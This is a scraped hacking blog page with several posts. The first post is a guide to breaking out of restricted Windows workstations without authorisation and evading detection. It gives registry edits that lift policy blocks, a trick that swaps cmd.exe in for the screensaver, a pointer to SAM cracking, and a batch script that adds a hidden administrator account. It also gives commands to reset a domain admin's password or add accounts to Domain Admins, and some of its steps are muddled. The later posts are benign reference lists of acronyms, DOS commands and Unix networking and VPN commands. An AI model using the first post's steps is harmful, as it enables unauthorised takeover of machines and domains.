Showing posts with label Commands. Show all posts
Showing posts with label Commands. Show all posts

Diffrent ways to Access Command Prompt



This article is about hacking networks. Since any longer than five minutes, you risk getting caught, this is *hopefully* going to teach you how to get root in five minutes or less. So, lets get it started.


To those of you that think by getting root, you own everything, sorry to disapoint you. But, by getting root, you only own the comp your on. There is however, a way to get domain root, which I'll discuss later.

So first of all , try and check your access to DOS. For doing so :
"start>all programs>accessories>cmd" or "start>run> type in 'cmd'"

If it doesnt works, go and make a file named "whatever.txt" Right click, and open it in notepad. Type "cmd" in it and save, if you are able to see some black screen fr a second, yes, you can get it. Now change the content in file, i.e

replace "cmd" with following:


@echo off
echo hello
pause


If you see "HACKED" on the screen, then yes you are more closer. Finally now change the content to following :
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0



This changes the registry value that blocks dos. So, type "cmd" in the .bat and see if it works. If that also didn't work, theres still other ways.

Now, type in your commands and click "file>save as>" for the type, put "text document, and save as "anything.bat".
If that wasn't the reason, I hope you have access to the C drive.
If you do, go here "C:\Windows\system32\" and create a new folder.
Now, find "cmd.exe" and "scrnsave.scr" and copy them to the new folder.
Goto the folder and rename "scrnsave.scr" to "scrnsaveold.scr", and "cmd.exe" to "scrnsave.scr" And replace it with the real one in system32. Now the next time your screen saver appears, it will be full access dos. So, if you can, on the desktop, right click and select properties. Change the time to one minute. On windows xp, you may have to make sure the screensaver is "scrnsave".

Even if it doesnt works, you can go for control panel. yes this one is not gauranteed, but ya at least it may be try at least.

Just create a new folder and rename it to following(obviously only the {} part)



Control panel: {305CA226-D286-468e-B848-2B2E8E697B74}

Printers: {2227A280-3AEA-1069-A2DE-08002B30309D} 
Taskbar and startmenu: {0DF44EAA-FF21-4412-828E-260A8728E7F1}
Microsoft FTP folder {63da6ec0-2e98-11cf-8d82-444553540000}
Temporary Internet files {7BD29E00-76C1-11CF-9DD0-00A0C9034933}
ActiveX Cache folder {88C6C381-2E85-11D0-94DE-444553540000
Subscblockedriptions folder {F5175861-2688-11d0-9C5E-00AA00A45957}

Dial-up networking: {992CFFA0-F557-101A-88EC-00DD010CCC48}
Scheduled tasks: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
Folder options: {6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}
Dial-Up Networking: {992CFFA0-F557-101A-88EC-00DD010CCC48}
Scheduled tasks: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
History {FF393560-C2A7-11CF-BFF4-444553540000}


Another way to get dos, is to create a prog. Uber0n has created such a program. You can find it at http://www.freewebs.com/uber0n/ You'll need a c++ compiler.

If so far, nothing has worked. You need to crack the sam file. Pretty sure Cain & Abel has this option.

If you did get dos, it's time to create yourself an admin acct. Type this.

@echo off
net user hackplanet hackplanet /add
net localgroup administrators hackplanet /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hackplanet/t REG_DWORD /d 0


First Line just hides the file address and stuff.
Second Line Creates the user "hackplanet" with the password of "hackplanet".
Third Line adds "upgoingstar" to the administrators group.
Fourth Line makes the acct "upgoingstar" a hidden acct.
If you see "The command completed successfully." or something similiar, congragulations. You now have root. If it didn't work, it means you have limited access dos, use the screensaver thing.

If you want domain root, you can either find the domain admin's username and type


@echo off
net user [username] [newpassword]

That will change the pass.
Or, if you can get on his/her comp, type this in dos.

net group "Domain Admins" [username] /add

This will add an acct to the domain admins.


Moreover, if you don't have access to the C drive, or any other particular drive, there are a few ways to view it's contents. You just need to be able to install programs. Google has a program called "Google Desktop" which indexes the computer and makes it searchable.
Or, you can download a web browser such as Opera. In the url bar type this "file://" you should now see a list of drives.


Seems funny? Weel, actually it is. :)


Neways, this much fr now. Enjoy Hacking, enjoy hackplanet. ;)  :-@





10:59 PM by Shubham Mittal · 0

List Of All Basic Computer Acronyms



ADSL - Asymmetric Digital Subscriber Line
AGP - Accelerated Graphics Port
ALI - Acer Labs, Incorporated
ALU - Arithmetic Logic Unit
AMD - Advanced Micro Devices
APC - American Power Conversion
ASCII - American Standard Code for Information Interchange
ASIC - Application Specific Integrated Circuit
ASPI - Advanced SCSI Programming Interface
AT - Advanced Technology
ATI - ATI Technologies Inc.
ATX - Advanced Technology Extended

--- B ---
BFG - BFG Technologies
BIOS - Basic Input Output System
BNC - Barrel Nut Connector

--- C ---
CAS - Column Address Signal
CD - Compact Disk
CDR - Compact Disk Recorder
CDRW - Compact Disk Re-Writer
CD-ROM - Compact Disk - Read Only Memory
CFM - Cubic Feet per Minute (ft�/min)
CMOS - Complementary Metal Oxide Semiconductor
CPU - Central Processing Unit
CTX - CTX Technology Corporation (Commited to Excellence)

--- D ---

DDR - Double Data Rate
DDR-SDRAM - Double Data Rate - Synchronous Dynamic Random Access Memory
DFI - DFI Inc. (Design for Innovation)
DIMM - Dual Inline Memory Module
DRAM - Dynamic Random Access Memory
DPI - Dots Per Inch
DSL - See ASDL
DVD - Digital Versatile Disc
DVD-RAM - Digital Versatile Disk - Random Access Memory

--- E ---
ECC - Error Correction Code
ECS - Elitegroup Computer Systems
EDO - Extended Data Out
EEPROM - Electrically Erasable Programmable Read-Only Memory
EPROM - Erasable Programmable Read-Only Memory
EVGA - EVGA Corporation

--- F ---
FC-PGA - Flip Chip Pin Grid Array
FDC - Floppy Disk Controller
FDD - Floppy Disk Drive
FPS - Frame Per Second
FPU - Floating Point Unit
FSAA - Full Screen Anti-Aliasing
FS - For Sale
FSB - Front Side Bus

--- G ---
GB - Gigabytes
GBps - Gigabytes per second or Gigabits per second
GDI - Graphical Device Interface
GHz - GigaHertz

--- H ---
HDD - Hard Disk Drive
HIS - Hightech Information System Limited
HP - Hewlett-Packard Development Company
HSF - Heatsink-Fan

--- I ---
IBM - International Business Machines Corporation
IC - Integrated Circuit
IDE - Integrated Drive Electronics
IFS- Item for Sale
IRQ - Interrupt Request
ISA - Industry Standard Architecture
ISO - International Standards Organization

--- J ---
JBL - JBL (Jame B. Lansing) Speakers
JVC - JVC Company of America

- K ---
Kbps - Kilobits Per Second
KBps - KiloBytes per second

--- L ---
LG - LG Electronics
LAN - Local Area Network
LCD - Liquid Crystal Display
LDT - Lightning Data Transport
LED - Light Emitting Diode

--- M ---
MAC - Media Access Control
MB � MotherBoard or Megabyte
MBps - Megabytes Per Second
Mbps - Megabits Per Second or Megabits Per Second
MHz - MegaHertz
MIPS - Million Instructions Per Second
MMX - Multi-Media Extensions
MSI - Micro Star International

--- N ---
NAS - Network Attached Storage
NAT - Network Address Translation
NEC - NEC Corporation
NIC - Network Interface Card

--- O ---
OC - Overclock (Over Clock)
OCZ - OCZ Technology
OEM - Original Equipment Manufacturer

--- P ---
PC - Personal Computer
PCB - Printed Circuit Board
PCI - Peripheral Component Interconnect
PDA - Personal Digital Assistant
PCMCIA - Peripheral Component Microchannel Interconnect Architecture
PGA - Professional Graphics Array
PLD - Programmable Logic Device
PM - Private Message / Private Messaging
PnP - Plug 'n Play
PNY - PNY Technology
POST - Power On Self Test
PPPoA - Point-to-Point Protocol over ATM
PPPoE - Point-to-Point Protocol over Ethernet
PQI - PQI Corporation
PSU - Power Supply Unit

--- R ---
RAID - Redundant Array of Inexpensive Disks
RAM - Random Access Memory
RAMDAC - Random Access Memory Digital Analog Convertor
RDRAM - Rambus Dynamic Random Access Memory
ROM - Read Only Memory
RPM - Revolutions Per Minute

--- S ---
SASID - Self-scanned Amorphous Silicon Integrated Display
SCA - SCSI Configured Automatically
SCSI - Small Computer System Interface
SDRAM - Synchronous Dynamic Random Access Memory
SECC - Single Edge Contact Connector
SODIMM - Small Outline Dual Inline Memory Module
SPARC - Scalable Processor ArChitecture
SOHO - Small Office Home Office
SRAM - Static Random Access Memory
SSE - Streaming SIMD Extensions
SVGA - Super Video Graphics Array
S/PDIF - Sony/Philips Digital Interface

--- T ---
TB - Terabytes
TBps - Terabytes per second
Tbps - Terabits per second
TDK - TDK Electronics
TEC - Thermoelectric Cooler
TPC - TipidPC
TWAIN - Technology Without An Important Name

--- U ---
UART - Universal Asynchronous Receiver/Transmitter
USB - Universal Serial Bus
UTP - Unshieled Twisted Pair

--- V ---
VCD - Video CD
VPN - Virtual Private Network

--- W ---
WAN - Wide Area Network
WTB - Want to Buy
WYSIWYG - What You See Is What You Get

--- X ---
XGA - Extended Graphics Array
XFX - XFX Graphics, a Division of Pine
XMS - Extended Memory Specification
XT - Extended Technology

9:49 AM by Shubham Mittal · 3

List Of All MS-DOS Commands : Hacking Tricks


Hey Guys, Below is a listing of each of the MS-DOS commands currently listed on Computer Hope and a brief explanation of what each of the commands do.

The below commands are all MS-DOS commands, which means not all the below commands will work in your version of MS-DOS and/or Windows command line.

Clicking on the command will open the help page for that command with full details about it.

CommandDescriptionType
ansi.sys Defines functions that change display graphics, control cursor movement, and reassign keys.File
appendCauses MS-DOS to look in other directories when editing a file or running a command.External
arpDisplays, adds, and removes arp information from network devices.External
assignAssign a drive letter to an alternate letter.External
assocView the file associations.Internal
atSchedule a time to execute commands or programs.External
atmadmLists connections and addresses seen by Windows ATM call manager.Internal
attribDisplay and change file attributes.External
batchRecovery console command that executes a series of commands in a file.Recovery
bootcfgRecovery console command that allows a user to view, modify, and rebuild the boot.iniRecovery
breakEnable / disable CTRL + C feature.Internal
caclsView and modify file ACL's.External
callCalls a batch file from another batch file.Internal
cdChanges directories.Internal
chcpSupplement the International keyboard and character set information.External
chdirChanges directories.Internal
chdskCheck the hard disk drive running FAT for errors.External
chkntfsCheck the hard disk drive running NTFS for errors.External
choiceSpecify a listing of multiple options within a batch file.External
clsClears the screen.Internal
cmdOpens the command interpreter.
colorEasily change the foreground and background color of the MS-DOS window.Internal
commandOpens the command interpreter.
compCompares files.External
compactCompresses and uncompress files.External
controlOpen Control Panel icons from the MS-DOS prompt.External
convertConvert FAT to NTFS.External
copyCopy one or more files to an alternate location.Internal
cttyChange the computers input/output devices.Internal
dateView or change the systems date.Internal
debug Debug utility to create assembly programs to modify hardware settings.External
defrag Re-arrange the hard disk drive to help with loading programs.External
delDeletes one or more files.Internal
deleteRecovery console command that deletes a file.Internal
deltreeDeletes one or more files and/or directories.External
dirList the contents of one or more directory.Internal
disableRecovery console command that disables Windows system services or drivers.Recovery
diskcompCompare a disk with another disk.External
diskcopyCopy the contents of one disk and place them on another disk.External
doskeyCommand to view and execute commands that have been run in the past.External
dosshellA GUI to help with early MS-DOS users.External
drivparmEnables overwrite of original device drivers.Internal
echoDisplays messages and enables and disables echo.Internal
editView and edit files.External
edlinView and edit files.External
emm386Load extended Memory Manager.External
enameRecovery console command to enable a disable service or driver.Recovery
endlocalStops the localization of the environment changes enabled by the setlocal command.Internal
eraseErase files from computer.Internal
exitExit from the command interpreter.Internal
expandExpand a Microsoft Windows file back to it's original format.External
extractExtract files from the Microsoft Windows cabinets.External
fasthelpDisplays a listing of MS-DOS commands and information about them.External
fcCompare files.External
fdiskUtility used to create partitions on the hard disk drive.External
findSearch for text within a file.External
findstrSearches for a string of text within a file.External
fixbootWrites a new boot sector.Recovery
fixmbrWrites a new boot record to a disk drive.Recovery
forBoolean used in batch files.Internal
formatCommand to erase and prepare a disk drive.External
ftpCommand to connect and operate on a FTP server.External
ftypeDisplays or modifies file types used in file extension associations.Recovery
gotoMoves a batch file to a specific label or location.Internal
graftablShow extended characters in graphics mode.External
helpDisplay a listing of commands and brief explanation.External
ifAllows for batch files to perform conditional processing.Internal
ifshlp.sys32-bit file manager.External
ipconfigNetwork command to view network adapter settings and assigned values.External
keybChange layout of keyboard.External
labelChange the label of a disk drive.External
lhLoad a device driver in to high memory.Internal
listsvcRecovery console command that displays the services and drivers.Recovery
loadfixLoad a program above the first 64k.External
loadhighLoad a device driver in to high memory.Internal
lockLock the hard disk drive.Internal
logoffLogoff the currently profile using the computer.External
logonRecovery console command to list installations and enable administrator login.Recovery
mapDisplays the device name of a drive.Recovery
mdCommand to create a new directory.Internal
memDisplay memory on system.External
mkdirCommand to create a new directory.Internal
modeModify the port or display settings.External
moreDisplay one page at a time.External
moveMove one or more files from one directory to another directory.Internal
msavEarly Microsoft Virus scanner.External
msdDiagnostics utility.External
msdexUtility used to load and provide access to the CD-ROM.External
nbtstatDisplays protocol statistics and current TCP/IP connections using NBTExternal
netUpdate, fix, or view the network or network settingsExternal
netshConfigure dynamic and static network information from MS-DOS.External
netstatDisplay the TCP/IP network protocol statistics and information.External
nlsfuncLoad country specific information.External
nslookupLook up an IP address of a domain or host on a network.External
pathView and modify the computers path location.Internal
pathpingView and locate locations of network latency.External
pauseCommand used in batch files to stop the processing of a command.Internal
pingTest / send information to another network computer or network device.External
popdChanges to the directory or network path stored by the pushd command.Internal
powerConserve power with computer portables. External
printPrints data to a printer port.External
promptView and change the MS-DOS prompt.Internal
pushdStores a directory or network path in memory so it can be returned to at any time.Internal
qbasicOpen the QBasic.External
rdRemoves an empty directory.Internal
renRenames a file or directory.Internal
renameRenames a file or directory.Internal
rmdirRemoves an empty directory.Internal
routeView and configure windows network route tables.External
runasEnables a user to run a program as a different user.External
scandiskRun the scandisk utility.External
scanregScan registry and recover registry from errors.External
setChange one variable or string to another. Internal
setlocalEnables local environments to be changed without affecting anything else. Internal
setverChange MS-DOS version to trick older MS-DOS programs.External
shareInstalls support for file sharing and locking capabilities. External
shiftChanges the position of replaceable parameters in a batch program. Internal
shutdownShutdown the computer from the MS-DOS prompt.External
smartdrvCreate a disk cache in conventional memory or extended memory.External
sortSorts the input and displays the output to the screen.External
startStart a separate window in Windows from the MS-DOS prompt.Internal
substSubstitute a folder on your computer for another drive letter. External
switchesRemove add functions from MS-DOS.Internal
sysTransfer system files to disk drive.External
telnetTelnet to another computer / device from the prompt.External
timeView or modify the system time.Internal
titleChange the title of their MS-DOS window.Internal
tracertVisually view a network packets route across a network.External
treeView a visual tree of the hard disk drive.External
typeDisplay the contents of a file.Internal
undeleteUndelete a file that has been deleted.External
unformatUnformat a hard disk drive.External
unlockUnlock a disk drive.Internal
verDisplay the version information.Internal
verifyEnables or disables the feature to determine if files have been written properly. Internal
volDisplays the volume information about the designated drive. Internal
xcopyCopy multiple files, directories, and/or drives from one location to another.External

9:15 AM by Shubham Mittal · 0

List Of All Unix Commands For VPN (Virtual Private Network)


After posting a list of all unix comands for networking,this is ma second post related to unix..n its dealing with commnds for VPN(Virtual Private Networking)

As of version 4.3, OpenSSH can use the tun/tap device to encrypt a tunnel. This is very similar to other TLS based VPN solutions like OpenVPN. One advantage with SSH is that there is no need to install and configure additional software. Additionally the tunnel uses the SSH authentication like pre shared keys. The drawback is that the encapsulation is done over TCP which might result in poor performance on a slow link. Also the tunnel is relying on a single (fragile) TCP connection. This technique is very useful for a quick IP based VPN setup. There is no limitation as with the single TCP port forward, all layer 3/4 protocols like ICMP, TCP/UDP, etc. are forwarded over the VPN. In any case, the following options are needed in the sshd_conf file:



PermitRootLogin yes
PermitTunnel yes

Single P2P connection

Here we are connecting two hosts, hclient and hserver with a peer to peer tunnel. The connection is started from hclient to hserver and is done as root. The tunnel end points are 10.0.1.1 (server) and 10.0.1.2 (client) and we create a device tun5 (this could also be an other number). The procedure is very simple:

* Connect with SSH using the tunnel option -w
* Configure the IP addresses of the tunnel. Once on the server and once on the client.

Connect to the server

Connection started on the client and commands are executed on the server.
Server is on Linux

cli># ssh -w5:5 root@hserver
srv># ifconfig tun5 10.0.1.1 netmask 255.255.255.252 # Executed on the server shell

Server is on FreeBSD

cli># ssh -w5:5 root@hserver
srv># ifconfig tun5 10.0.1.1 10.0.1.2 # Executed on the server shell

Configure the client

Commands executed on the client:

cli># ifconfig tun5 10.0.1.2 netmask 255.255.255.252 # Client is on Linux
cli># ifconfig tun5 10.0.1.2 10.0.1.1 # Client is on FreeBSD

The two hosts are now connected and can transparently communicate with any layer 3/4 protocol using the tunnel IP addresses.
Connect two networks

In addition to the p2p setup above, it is more useful to connect two private networks with an SSH VPN using two gates. Suppose for the example, netA is 192.168.51.0/24 and netB 192.168.16.0/24. The procedure is similar as above, we only need to add the routing. NAT must be activated on the private interface only if the gates are not the same as the default gateway of their network.
192.168.51.0/24 (netA)|gateA <-> gateB|192.168.16.0/24 (netB)

* Connect with SSH using the tunnel option -w.
* Configure the IP addresses of the tunnel. Once on the server and once on the client.
* Add the routing for the two networks.
* If necessary, activate NAT on the private interface of the gate.

The setup is started from gateA in netA.
Connect from gateA to gateB

Connection is started from gateA and commands are executed on gateB.
gateB is on Linux

gateA># ssh -w5:5 root@gateB
gateB># ifconfig tun5 10.0.1.1 netmask 255.255.255.252 # Executed on the gateB shell
gateB># route add -net 192.168.51.0 netmask 255.255.255.0 dev tun5
gateB># echo 1 > /proc/sys/net/ipv4/ip_forward # Only needed if not default gw
gateB># iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

gateB is on FreeBSD

gateA># ssh -w5:5 root@gateB # Creates the tun5 devices
gateB># ifconfig tun5 10.0.1.1 10.0.1.2 # Executed on the gateB shell
gateB># route add 192.168.51.0/24 10.0.1.2
gateB># sysctl net.inet.ip.forwarding=1 # Only needed if not default gw
gateB># natd -s -m -u -dynamic -n fxp0 # see NAT
gateA># sysctl net.inet.ip.fw.enable=1

Configure gateA

Commands executed on gateA:
gateA is on Linux

gateA># ifconfig tun5 10.0.1.2 netmask 255.255.255.252
gateA># route add -net 192.168.16.0 netmask 255.255.255.0 dev tun5
gateA># echo 1 > /proc/sys/net/ipv4/ip_forward
gateA># iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

gateA is on FreeBSD

gateA># ifconfig tun5 10.0.1.2 10.0.1.1
gateA># route add 192.168.16.0/24 10.0.1.2
gateA># sysctl net.inet.ip.forwarding=1
gateA># natd -s -m -u -dynamic -n fxp0 # see NAT
gateA># sysctl net.inet.ip.fw.enable=1

The two private networks are now transparently connected via the SSH VPN. The IP forward and NAT settings are only necessary if the gates are not the default gateways. In this case the clients would not know where to forward the response, and nat must be activated.

9:42 PM by Shubham Mittal · 0

List Of all UNIX Networking Commands


Here is the list of all unix commands that i had been familiar with onceor more..

Js go thru them n if u finds any command missing, pls do contribute over comments...
Thanx in advance.

Hehehe!!

Here v GO...

Debugging

# mii-diag eth0 # Show the link status (Linux)
# ifconfig fxp0 # Check the “media” field on FreeBSD
# arp -a # Check the router (or host) ARP entry (all OS)
# ping cb.vu # The first thing to try…


# traceroute cb.vu # Print the route path to destination
# mii-diag -F 100baseTx-FD eth0 # Force 100Mbit Full duplex (Linux)
# ifconfig fxp0 media 100baseTX mediaopt full-duplex # Same for FreeBSD
# netstat -s # System-wide statistics for each network protocol

Routing
Print routing table

# route -n # Linux
# netstat -rn # Linux, BSD and UNIX
# route print # Windows

Add and delete a route
FreeBSD

# route add 212.117.0.0/16 192.168.1.1
# route delete 212.117.0.0/16
# route add default 192.168.1.1

Add the route permanently in /etc/rc.conf

static_routes="myroute"
route_myroute="-net 212.117.0.0/16 192.168.1.1"

Linux

# route add -net 192.168.20.0 netmask 255.255.255.0 gw 192.168.16.254
# ip route add 192.168.20.0/24 via 192.168.16.254 # same as above with ip route
# route add -net 192.168.20.0 netmask 255.255.255.0 dev eth0
# route add default gw 192.168.51.254
# ip route add default via 192.168.51.254 # same as above with ip route
# route delete -net 192.168.20.0 netmask 255.255.255.0

Windows

# Route add 192.168.50.0 mask 255.255.255.0 192.168.51.253
# Route add 0.0.0.0 mask 0.0.0.0 192.168.51.254

Use add -p to make the route persistent.
Configure additional IP addresses
Linux

# ifconfig eth0 192.168.50.254 netmask 255.255.255.0 # First IP
# ifconfig eth0:0 192.168.51.254 netmask 255.255.255.0 # Second IP

FreeBSD

# ifconfig fxp0 inet 192.168.50.254/24 # First IP
# ifconfig fxp0 alias 192.168.51.254 netmask 255.255.255.0 # Second IP

Permanent entries in /etc/rc.conf

ifconfig_fxp0="inet 192.168.50.254 netmask 255.255.255.0"
ifconfig_fxp0_alias0="192.168.51.254 netmask 255.255.255.0"

Change MAC address

# ifconfig eth0 hw ether 00:01:02:03:04:05 # Linux
# ifconfig fxp0 link 00:01:02:03:04:05 # FreeBSD

Ports in use

Listening open ports:

# netstat -an | grep LISTEN
# lsof -i # Linux list all Internet connections
# socklist # Linux display list of open sockets
# sockstat -4 # FreeBSD application listing
# netstat -anp –udp –tcp | grep LISTEN # Linux
# netstat -tup # List active connections to/from system (Linux)
# netstat -tupl # List listening ports from system (Linux)
# netstat -ano # Windows

Firewall

Check if a firewall is running (typical configuration only):
Linux

# iptables -L -n -v # For status
Open the iptables firewall
# iptables -Z # Zero the packet and byte counters in all chains
# iptables -F # Flush all chains
# iptables -X # Delete all chains
# iptables -P INPUT ACCEPT # Open everything
# iptables -P FORWARD ACCEPT
# iptables -P OUTPUT ACCEPT

FreeBSD

# ipfw show # For status
# ipfw list 65535 # if answer is “65535 deny ip from any to any” the fw is disabled
# sysctl net.inet.ip.fw.enable=0 # Disable
# sysctl net.inet.ip.fw.enable=1 # Enable

IP Forward for routing
Linux

Check and then enable IP forward with:

# cat /proc/sys/net/ipv4/ip_forward # Check IP forward 0=off, 1=on
# echo 1 > /proc/sys/net/ipv4/ip_forward

or edit /etc/sysctl.conf with:

net.ipv4.ip_forward = 1

FreeBSD

Check and enable with:

# sysctl net.inet.ip.forwarding # Check IP forward 0=off, 1=on
# sysctl net.inet.ip.forwarding=1
# sysctl net.inet.ip.fastforwarding=1 # For dedicated router or firewall
Permanent with entry in /etc/rc.conf:
gateway_enable=”YES” # Set to YES if this host will be a gateway.

NAT Network Address Translation
Linux

# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # to activate NAT
# iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 –dport 20022 -j DNAT
–to 192.168.16.44:22 # Port forward 20022 to internal IP port ssh
# iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 –dport 993:995 -j DNAT
–to 192.168.16.254:993:995 # Port forward of range 993-995
# ip route flush cache
# iptables -L -t nat # Check NAT status

Delete the port forward with -D instead of -A.
FreeBSD

# natd -s -m -u -dynamic -f /etc/natd.conf -n fxp0
Or edit /etc/rc.conf with:
firewall_enable="YES" # Set to YES to enable firewall functionality
firewall_type=”open” # Firewall type (see /etc/rc.firewall)
natd_enable=”YES” # Enable natd (if firewall_enable == YES).
natd_interface=”tun0″ # Public interface or IP address to use.
natd_flags=”-s -m -u -dynamic -f /etc/natd.conf”

Port forward with:

# cat /etc/natd.conf
same_ports yes
use_sockets yes
unregistered_only
# redirect_port tcp insideIP:2300-2399 3300-3399 # port range
redirect_port udp 192.168.51.103:7777 7777

DNS

On Unix the DNS entries are valid for all interfaces and are stored in /etc/resolv.conf. The domain to which the host belongs is also stored in this file. A minimal configuration is:

nameserver 78.31.70.238
search sleepyowl.net intern.lab
domain sleepyowl.net

Check the system domain name with:

# hostname -d # Same as dnsdomainname

Windows

On Windows the DNS are configured per interface. To display the configured DNS and to flush the DNS cache use:

# ipconfig /? # Display help
# ipconfig /all # See all information including DNS
# ipconfig /flushdns # Flush the DNS cache

Forward queries

Dig is you friend to test the DNS settings. For example the public DNS server 213.133.105.2 ns.second-ns.de can be used for testing. See from which server the client receives the answer (simplified answer).

# dig sleepyowl.net
sleepyowl.net. 600 IN A 78.31.70.238
;; SERVER: 192.168.51.254#53(192.168.51.254)

The router 192.168.51.254 answered and the response is the A entry. Any entry can be queried and the DNS server can be selected with @:

# dig MX google.com
# dig @127.0.0.1 NS sun.com # To test the local server
# dig @204.97.212.10 NS MX heise.de # Query an external server
# dig AXFR @ns1.xname.org cb.vu # Get the full zone (zone transfer)

The program host is also powerful.

# host -t MX cb.vu # Get the mail MX entry
# host -t NS -T sun.com # Get the NS record over a TCP connection
# host -a sleepyowl.net # Get everything

Reverse queries

Find the name belonging to an IP address (in-addr.arpa.). This can be done with dig, host and nslookup:

# dig -x 78.31.70.238
# host 78.31.70.238
# nslookup 78.31.70.238

/etc/hosts

Single hosts can be configured in the file /etc/hosts instead of running named locally to resolve the hostname queries. The format is simple, for example:

78.31.70.238 sleepyowl.net sleepyowl

The priority between hosts and a dns query, that is the name resolution order, can be configured in /etc/nsswitch.conf AND /etc/host.conf. The file also exists on Windows, it is usually in:

C:WINDOWSSYSTEM32DRIVERSETC

DHCP
Linux

Some distributions (SuSE) use dhcpcd as client. The default interface is eth0.

# dhcpcd -n eth0 # Trigger a renew
# dhcpcd -k eth0 # release and shutdown

The lease with the full information is stored in:

/var/lib/dhcpcd/dhcpcd-eth0.info

FreeBSD

FreeBSD (and Debian) uses dhclient. To configure an interface (for example bge0) run:

# dhclient bge0

The lease with the full information is stored in:

/var/db/dhclient.leases.bge0

Use

/etc/dhclient.conf

to prepend options or force different options:

# cat /etc/dhclient.conf
interface "rl0" {
prepend domain-name-servers 127.0.0.1;
default domain-name "sleepyowl.net";
supersede domain-name "sleepyowl.net";
}

Windows

The dhcp lease can be renewed with ipconfig:

# ipconfig /renew # renew all adapters
# ipconfig /renew LAN # renew the adapter named “LAN”
# ipconfig /release WLAN # release the adapter named “WLAN”

Yes it is a good idea to rename you adapter with simple names!
Traffic analysis

Bmon http://people.suug.ch/~tgr/bmon/ is a small console bandwidth monitor and can display the flow on different interfaces.
Sniff with tcpdump

# tcpdump -nl -i bge0 not port ssh and src (192.168.16.121 or 192.168.16.54)
# tcpdump -l > dump && tail -f dump # Buffered output
# tcpdump -i rl0 -w traffic.rl0 # Write traffic in binary file
# tcpdump -r traffic.rl0 # Read from file (also for ethereal
# tcpdump port 80 # The two classic commands
# tcpdump host google.com
# tcpdump -i eth0 -X port (110 or 143) # Check if pop or imap is secure
# tcpdump -n -i eth0 icmp # Only catch pings
# tcpdump -i eth0 -s 0 -A port 80 | grep GET # -s 0 for full packet -A for ASCII

Additional important options:

* -A Print each packets in clear text (without header)
* -X Print packets in hex and ASCII
* -l Make stdout line buffered
* -D Print all interfaces available

On Windows use windump from http://www.winpcap.org/. Use windump -D to list the interfaces.
Scan with nmap

Nmap http://insecure.org/nmap/ is a port scanner with OS detection, it is usually installed on most distributions and is also available for Windows. If you don’t scan your servers, hackers do it for you…

# nmap cb.vu # scans all reserved TCP ports on the host
# nmap -sP 192.168.16.0/24 # Find out which IP are used and by which host on 0/24
# nmap -sS -sV -O cb.vu # Do a stealth SYN scan with version and OS detection
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.8.1p1 FreeBSD-20060930 (protocol 2.0)
25/tcp open smtp Sendmail smtpd 8.13.6/8.13.6
80/tcp open http Apache httpd 2.0.59 ((FreeBSD) DAV/2 PHP/4.
[…]
Running: FreeBSD 5.X
Uptime 33.120 days (since Fri Aug 31 11:41:04 2007)

Traffic control (QoS)

Traffic control manages the queuing, policing, scheduling, and other traffic parameters for a network. The following examples are simple practical uses of the Linux and FreeBSD capabilities to better use the available bandwidth.
Limit upload

DSL or cable modems have a long queue to improve the upload throughput. However filling the queue with a fast device (e.g. ethernet) will dramatically decrease the interactivity. It is therefore useful to limit the device upload rate to match the physical capacity of the modem, this should greatly improve the interactivity. Set to about 90% of the modem maximal (cable) speed.
Linux

For a 512 Kbit upload modem.

# tc qdisc add dev eth0 root tbf rate 480kbit latency 50ms burst 1540
# tc -s qdisc ls dev eth0 # Status
# tc qdisc del dev eth0 root # Delete the queue
# tc qdisc change dev eth0 root tbf rate 220kbit latency 50ms burst 1540

FreeBSD

FreeBSD uses the dummynet traffic shaper which is configured with ipfw. Pipes are used to set limits the bandwidth in units of [K|M]{bit/s|Byte/s}, 0 means unlimited bandwidth. Using the same pipe number will reconfigure it. For example limit the upload bandwidth to 500 Kbit.

# kldload dummynet # load the module if necessary
# ipfw pipe 1 config bw 500Kbit/s # create a pipe with limited bandwidth
# ipfw add pipe 1 ip from me to any # divert the full upload into the pipe

Quality of service
Linux

Priority queuing with tc to optimize VoIP. See the full example on voip-info.org or http://www.howtoforge.com/voip_qos_traffic_shaping_iproute2_asterisk. Suppose VoIP uses udp on ports 10000:11024 and device eth0 (could also be ppp0 or so). The following commands define the QoS to three queues and force the VoIP traffic to queue 1 with QoS 0×1e (all bits set). The default traffic flows into queue 3 and QoS Minimize-Delay flows into queue 2.

# tc qdisc add dev eth0 root handle 1: prio priomap 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 0
# tc qdisc add dev eth0 parent 1:1 handle 10: sfq
# tc qdisc add dev eth0 parent 1:2 handle 20: sfq
# tc qdisc add dev eth0 parent 1:3 handle 30: sfq
# tc filter add dev eth0 protocol ip parent 1: prio 1 u32
match ip dport 10000 0x3C00 flowid 1:1 # use server port range
match ip dst 123.23.0.1 flowid 1:1 # or/and use server IP

Status and remove with

# tc -s qdisc ls dev eth0 # queue status
# tc qdisc del dev eth0 root # delete all QoS

Calculate port range and mask

The tc filter defines the port range with port and mask which you have to calculate. Find the 2^N ending of the port range, deduce the range and convert to HEX. This is your mask. Example for 10000 -> 11024, the range is 1024.

# 2^13 (8192) < 14 =" 16384" obase="16;(2^14)-1024″">

9:30 PM by Shubham Mittal · 0